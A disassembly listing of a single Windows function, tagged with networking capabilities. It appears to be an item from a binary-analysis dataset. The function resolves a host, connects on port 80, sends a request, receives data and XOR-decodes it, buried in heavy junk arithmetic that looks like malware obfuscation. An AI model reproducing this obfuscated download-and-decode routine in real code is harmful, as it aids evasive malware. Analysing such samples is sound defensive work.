Function at 0x4085e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040ca10
push 0xffffffffffffffff
push 0x41e92b
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x4260f0]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
fstp qword [ebp - 0x44]
fldz
mov dword [ebp - 0x38], ebx
fst dword [ebp - 0x18]
xor edx, edx
xor eax, eax
mov word [ebp - 0x24], dx
mov word [ebp - 0x28], ax
mov dword [ebp - 0x3c], ebx
xor ecx, ecx
mov word [ebp - 0x48], cx
mov dword [ebp - 0x20], ebx
mov byte [ebp + 0x11bc], al
mov eax, esi
mov dword [ebp - 0x34], ebx
fstp dword [ebp - 0x1c]
mov byte [ebp - 4], 1
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408690
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x408a67
fld1
xor ecx, ecx
cmp ecx, edi
jg 0x40874d
fld qword [0x425df0]
fadd st(1)
fstp qword [0x425df0]
fld qword [0x425df0]
mov dx, word [0x425de8]
movsx eax, dx
mov edx, dword [ebp - 0x34]
dec dword [ebp - 0x34]
add edx, eax
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fucompp
fnstsw ax
test ah, 0x44
jp 0x408708
fld dword [0x423d24]
mov ax, word [0x42590c]
mov edx, dword [ebp - 0x3c]
cwde
add eax, 0xec434f13
add edx, eax
mov dword [ebp - 0x14], edx
fisub dword [ebp - 0x14]
fstp dword [0x423d24]
mov al, byte [ecx + esi]
mov byte [ebp + ecx + 0x13bc], al
cmp al, 0x2f
jne 0x408747
mov eax, dword [0x425ff0]
fstp st(0)
add eax, dword [ebp - 0x3c]
mov byte [ebp + ecx + 0x13bc], 0
mov dword [ebp - 0x3c], eax
mov eax, ecx
lea ecx, [ecx]
cmp eax, edi
jg 0x40874f
mov bl, byte [eax + esi]
mov edx, eax
sub edx, ecx
mov byte [ebp + edx + 0x11bc], bl
inc eax
xor ebx, ebx
jmp 0x408730
inc ecx
jmp 0x4086a8
fstp st(0)
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408758
mov edi, dword [ebp - 0x2c]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
jmp 0x408770
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408770
sub eax, esi
add eax, edx
cmp eax, 0x1ff
ja 0x408bce
mov eax, edi
mov edx, edi
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408790
lea edi, [ebp + 0x11bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4087a0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x20]
add ecx, 0x1179e826
mov dword [ebp - 0x14], ecx
push 5
push 0x425e4c
fild dword [ebp - 0x14]
fstp dword [ebp - 0x1c]
call fcn.00402510
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087e0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004083c0
xor eax, eax
xor edx, edx
mov word [ebp - 0x2c], dx
mov dword [esi], eax
mov word [ebp - 0x2c], ax
push esi
mov byte [esi + 4], al
call fcn.0040b5fb
fld dword [ebp - 0x1c]
fsub qword [0x41f348]
add esp, 4
fstp dword [ebp - 0x1c]
fld dword [ebp - 0x1c]
mov cx, word [ebp - 0x24]
fsub qword [0x41f888]
movsx edx, cx
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
faddp st(1)
call fcn.0040b550
mov word [ebp - 0x24], ax
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408846
sub eax, edx
push eax
lea eax, [ebp + 0x11bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.004084a0
push 0x32
push 0x425954
call fcn.00402510
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408876
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004084a0
fld dword [ebp - 0x1c]
fsub qword [0x41f880]
push 0x32
xor ecx, ecx
xor edx, edx
fstp dword [ebp - 0x1c]
push ebx
mov word [ebp - 0x2c], cx
mov word [ebp - 0x2c], dx
push esi
call fcn.0040b690
push esi
call fcn.0040b5fb
mov ax, word [ebp - 0x24]
mov edx, dword [ebp - 0x20]
movsx ecx, ax
mov eax, dword [0x42467c]
sub edx, ecx
sub edx, eax
mov dword [ebp - 0x20], edx
lea eax, [ebp + 0x13bc]
add esp, 0x10
dec dword [ebp - 0x24]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088d8
sub eax, edx
push eax
lea ecx, [ebp + 0x13bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.004084a0
fld qword [0x425e40]
fsub qword [0x41f348]
push 5
push 0x423cfc
fstp qword [0x425e40]
fld qword [0x4246f8]
fld qword [0x425e40]
fsub qword [0x41f878]
fsub qword [0x41f870]
fsubp st(1)
fstp qword [0x4246f8]
call fcn.00402510
add esp, 8
mov esi, eax
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408940
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004084a0
xor eax, eax
xor edx, edx
mov word [ebp - 0x2c], dx
mov dword [esi], eax
push esi
mov word [ebp - 0x2c], ax
mov byte [esi + 4], al
call fcn.0040b5fb
add esp, 4
lea ecx, [ebp]
push ecx
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x40898e
cmp dword [ebp + 0x1b8], 0x10
jmp 0x409053
push 6
mov edi, 1
push edi
push 2
call sub.WS2_32.dll_socket
mov esi, eax
mov ax, word [0x425da4]
mov edx, dword [ebp - 0x20]
movsx ecx, ax
mov eax, 0x39123ccc
sub eax, ecx
add edx, eax
mov dword [ebp - 0x14], esi
cmp edx, 0x292680d
jne 0x4089e0
fld qword [0x423140]
mov ax, word [ebp - 0x48]
movsx ecx, ax
mov dword [ebp - 0x2c], ecx
fild dword [ebp - 0x2c]
fsubp st(1)
fmul dword [0x42594c]
fstp dword [0x42594c]
cmp esi, 0xffffffff
jne 0x408a8c
mov dx, word [0x42581c]
movsx eax, dx
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fstp dword [ebp - 0x1c]
call sub.WS2_32.dll_WSACleanup
dec word [0x4259e4]
fld dword [0x423dec]
fsub qword [0x41f348]
fstp dword [0x423dec]
mov cx, word [0x4259e4]
mov edx, dword [0x4246dc]
movsx eax, cx
sub edx, eax
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fsub dword [0x423dec]
mov eax, dword [0x424774]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fmulp st(1)
call fcn.0040b550
cmp dword [ebp + 0x1b8], 0x10
mov dword [0x424774], eax
jb 0x408a67
mov ecx, dword [ebp + 0x1a4]
push ecx
call fcn.0040b0e4
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040bbd4
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
fld dword [ebp - 0x18]
fadd qword [0x41f868]
fcomp qword [0x41f860]
fnstsw ax
fld dword [ebp - 0x18]
fld1
fadd st(1), st(0)
fxch st(1)
fstp dword [ebp - 0x18]
test ah, 0x44
jp 0x408ad4
fld dword [0x423128]
mov dx, word [ebp - 0x24]
fsubr qword [0x41f858]
movsx eax, dx
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fmulp st(1)
call fcn.0040b550
mov word [ebp - 0x24], ax
jmp 0x408b15
fld qword [0x425918]
mov ecx, dword [0x4246dc]
fsub qword [0x41f850]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
mov dword [ebp - 0x18], edx
faddp st(1)
fild dword [ebp - 0x18]
faddp st(1)
call fcn.0040b550
mov dword [ebp - 0x20], eax
dec dword [0x4246dc]
fld qword [0x425918]
fadd st(1)
fstp qword [0x425918]
cmp dword [ebp + 0x1458], ebx
je 0x408b3a
push 4
fstp st(0)
lea eax, [ebp + 0x1458]
push eax
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
fld1
mov cx, word [ebp - 0x28]
movsx edx, cx
add edx, dword [0x423cb8]
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
fsub dword [0x42317c]
fld qword [ebp - 0x44]
fadd qword [ebp - 0x44]
fsub qword [0x41f848]
fucompp
fnstsw ax
fld qword [ebp - 0x44]
fadd st(1)
fstp qword [ebp - 0x44]
fadd dword [0x42317c]
fstp dword [0x42317c]
add dword [0x423cb8], edi
test ah, 0x44
jp 0x408ba2
mov eax, dword [0x423edc]
mov ecx, dword [0x423cac]
lea edx, [ecx + eax + 0x51372ade]
mov dword [0x423edc], edx
add dword [0x423cac], edi
jmp 0x408bbe
add word [0x425f9c], di
mov ax, word [0x425f9c]
mov ecx, dword [ebp - 0x38]
cwde
add ecx, eax
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
fstp dword [ebp - 0x1c]
lea edx, [ebp + 0x13bc]
push edx
call sub.WS2_32.dll_gethostbyname
cmp eax, ebx
jne 0x408be7
cmp dword [ebp + 0x1b8], 0x10
jb 0x408a67
mov eax, dword [ebp + 0x1a4]
push eax
jmp 0x408a5f
mov ecx, 2
mov word [ebp + 0x190], cx
add dword [ebp - 0x28], edi
mov dx, word [ebp - 0x28]
movsx ecx, dx
mov edx, dword [ebp - 0x20]
inc dword [ebp - 0x20]
mov edi, 0x36bfec07
sub ecx, 0x17f3c449
sub edi, edx
cmp edi, ecx
jg 0x408c1b
add dword [ebp - 0x3c], 0x9569bb01
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov word [ebp + 0x192], ax
mov edi, 0x10
push edi
lea eax, [ebp + 0x190]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x408c65
cmp dword [ebp + 0x1b8], edi
jmp 0x408a56
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408c79
lea eax, [ebp + 0x1a4]
mov edx, dword [ebp + 0x1b4]
push ebx
push edx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jae 0x408ce1
fld dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
add eax, 0x20f0d320
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fucompp
fnstsw ax
fld dword [ebp - 0x1c]
fsub qword [0x41f348]
fstp dword [ebp - 0x1c]
test ah, 0x44
jnp 0x408cc9
mov ecx, dword [ebp - 0x34]
mov edx, 0x9fbdfd08
sub edx, ecx
add edx, dword [ebp - 0x38]
add edx, dword [ebp - 0x38]
mov dword [ebp - 0x38], edx
cmp dword [ebp + 0x1b8], edi
jb 0x408a67
mov eax, dword [ebp + 0x1a4]
push eax
jmp 0x408a5f
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x20]
lea eax, [edx + ecx - 0x1840a471]
cmp eax, 0x9eb2ccee
jle 0x408d1b
dec dword [0x423ec8]
mov ecx, dword [0x423ec8]
mov edx, dword [ebp - 0x3c]
sub edx, ecx
cmp edx, 0x90aeec6b
jne 0x408d43
mov eax, dword [ebp - 0x38]
add eax, 0x34d4ffad
mov dword [ebp - 0x3c], eax
jmp 0x408d43
movzx ecx, word [0x425dc4]
mov edx, dword [0x423ef0]
movsx eax, cx
movzx ecx, word [ebp - 0x28]
sub eax, edx
add eax, 0xee5cc934
imul ecx, eax
mov word [ebp - 0x28], cx
inc dword [0x423ef0]
mov ecx, dword [ebp - 0x30]
push ebx
push 0x41f840
call fcn.004083c0
or edi, 0xffffffff
or ebx, edi
mov eax, dword [ebp - 0x14]
push 0
push 0x1000
lea edx, [ebp + 0x1bc]
push edx
push eax
call sub.WS2_32.dll_recv
test eax, eax
jg 0x408d92
mov cx, word [ebp - 0x24]
movsx edx, cx
sub edx, 0x76bc7aed
mov dword [ebp - 0x18], edx
fild dword [ebp - 0x18]
fstp dword [0x423134]
inc dword [ebp - 0x24]
jmp 0x408f37
mov ecx, dword [ebp - 0x30]
push eax
lea eax, [ebp + 0x1bc]
push eax
call fcn.004084a0
test edi, edi
jge 0x408ef8
push 5
push 0x423cfc
call fcn.00402510
mov ecx, dword [str.gqy]
add esp, 8
add ecx, 0x78b1f61c
mov word [0x423e8c], cx
mov esi, eax
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x408dd1
sub eax, ecx
mov ecx, dword [ebp - 0x30]
push eax
push 0
push esi
call fcn.004040f0
mov edx, dword [0x4258fc]
mov edi, eax
mov eax, 0x179ef22d
sub eax, edx
add dword [0x425928], eax
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x2c], ax
mov dword [esi], eax
push esi
mov word [ebp - 0x2c], cx
mov byte [esi + 4], al
call fcn.0040b5fb
add esp, 4
test edi, edi
jl 0x408ee6
inc word [0x424738]
mov dx, word [0x424738]
movsx eax, dx
add dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x30]
push eax
add edi, 4
call fcn.00406a80
mov cx, word [0x424674]
movsx edx, cx
add edx, 0x13a022e
mov dword [ebp - 0x18], edx
mov ebx, eax
add esp, 4
fild dword [ebp - 0x18]
mov dword [ebp - 0x38], ebx
fadd dword [0x425db0]
fstp dword [0x425db0]
dec word [0x424674]
test ebx, ebx
jge 0x408ee6
inc dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov ecx, 0x91763074
sub ecx, eax
cmp ecx, 0x39438498
jne 0x408eb6
mov dx, word [0x425e24]
movsx eax, dx
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fld dword [0x425800]
fsub qword [0x41f838]
fsub qword [0x41f830]
fsubp st(1)
call fcn.0040b550
mov word [0x425e24], ax
push 0xb
push 0x424794
call fcn.00402510
mov ecx, dword [ebp - 0x30]
add esp, 8
mov esi, eax
push 0
push esi
call fcn.00405d00
push esi
push 0xb
mov ebx, eax
call fcn.00401300
add esp, 8
test ebx, ebx
jge 0x408f37
mov ebx, dword [ebp - 0x38]
fld dword [0x425da0]
fsub qword [0x41f828]
fstp dword [0x425da0]
test ebx, ebx
jl 0x408f08
mov ecx, dword [ebp - 0x30]
mov eax, dword [ecx + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x408f37
cmp dword [ebp + 0x1458], 0
je 0x409065
fld dword [0x424728]
mov edx, dword [ebp - 0x30]
fadd qword [0x41f820]
fstp dword [0x424728]
cmp dword [edx + 0x14], 0x4000
jb 0x409065
mov eax, dword [ebp - 0x14]
push eax
call sub.WS2_32.dll_closesocket
mov ecx, dword [0x42469c]
mov edx, dword [ebp - 0x34]
sub edx, ecx
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fadd qword [0x423148]
fstp qword [0x424788]
call sub.WS2_32.dll_WSACleanup
mov eax, dword [ebp - 0x3c]
mov ecx, 0xe771aad1
sub ecx, eax
cmp ecx, 0xe624d778
jne 0x408fba
mov dx, word [0x4247ac]
mov ax, word [0x4258ec]
movsx ecx, dx
cwde
sub eax, ecx
mov cx, word [ebp - 0x28]
dec dword [ebp - 0x28]
movsx edx, cx
cmp edx, eax
jle 0x408ff0
mov ax, word [0x425d1c]
mov ecx, dword [0x423df8]
mov edx, dword [0x424624]
cwde
lea eax, [ecx + eax + 0x2726c5c]
imul edx, eax
mov dword [0x424624], edx
jmp 0x408ff0
fld qword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
fadd qword [0x41f818]
mov dword [ebp - 0x14], eax
fsubr qword [0x41f810]
fild dword [ebp - 0x14]
fcompp
fnstsw ax
fld qword [ebp - 0x44]
fsub qword [0x41f348]
fstp qword [ebp - 0x44]
test ah, 0x41
jp 0x408ff0
fld qword [0x41f808]
fstp qword [ebp - 0x44]
mov esi, dword [ebp - 0x30]
test edi, edi
jl 0x40901d
mov cx, word [0x424680]
movsx eax, cx
add eax, 0xabeb3a78
add dword [0x4258f0], eax
dec word [0x424680]
push edi
push 0
mov ecx, esi
call fcn.00405c70
mov dl, byte [ebp + 0x1454]
mov edi, 0x10
test dl, dl
je 0x40904d
xor eax, eax
mov edi, edi
cmp eax, dword [esi + 0x14]
jae 0x40904d
cmp dword [esi + 0x18], edi
jb 0x409043
mov ecx, dword [esi + 4]
xor byte [ecx + eax], dl
inc eax
jmp 0x409030
xor byte [esi + eax + 4], dl
lea ecx, [esi + 4]
inc eax
jmp 0x409030
cmp dword [ebp + 0x1b8], edi
jb 0x408a67
mov edx, dword [ebp + 0x1a4]
push edx
jmp 0x408a5f
inc dword [ebp - 0x28]
mov ax, word [ebp - 0x28]
mov dx, word [ebp - 0x24]
dec dword [ebp - 0x24]
movsx ecx, ax
movsx eax, dx
lea ecx, [ecx + eax - 0x64ae60bc]
cmp ecx, 0x8293f8a0
je 0x408d56
fld dword [0x423e10]
fadd dword [ebp - 0x1c]
fstp dword [0x423e10]
fld dword [ebp - 0x1c]
fsub qword [0x41f348]
fstp dword [ebp - 0x1c]
jmp 0x408d56